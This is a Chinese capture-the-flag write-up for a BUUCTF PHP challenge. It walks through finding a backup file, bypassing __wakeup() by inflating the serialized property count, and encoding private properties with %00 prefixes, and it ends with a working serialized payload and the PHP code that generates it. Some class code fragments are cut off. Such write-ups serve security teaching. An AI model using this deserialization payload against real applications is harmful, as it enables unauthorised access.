BUUCTF-[极客大挑战 2019]PHP

1、备份文件
2、绕过__wakeup()
3、private

根据提示，使用dirsearch扫描网站，发现备份文件：

备份文件

下载后，源代码如下：
index.php

class.php

username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "
NO!!!hacker!!!
";
            echo "You name is: ";
            echo $this->username;echo "
";
            echo "You password is: ";
            echo $this->password;echo "
";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "
hello my friend~~
sorry i can't give you the flag!";
            die();      
        }
    }
}
?>

根据class.php,满足下列条件即可得到flag：
1、绕过__wakeup()，使username为admin
2、使password为100

生成payload：

username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "
NO!!!hacker!!!
";
            echo "You name is: ";
            echo $this->username;echo "
";
            echo "You password is: ";
            echo $this->password;echo "
";
            die();
        }
        if ($this->username === 'admin') {
            echo "flag";
        }else{
            echo "
hello my friend~~
sorry i can't give you the flag!";
            die();

            
        }
    }
}

 $A = new Name('admin', '100');
 $b = serialize($A);
 $b = str_replace(':2:', ':3:',$b);
 echo $b;

最终payload为：

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

总结：

• 当成员属性数目大于实际数目时可绕过_wakeup()
• private属性序列化的时候格式是%00类名%00成员名，%00占一个字节长度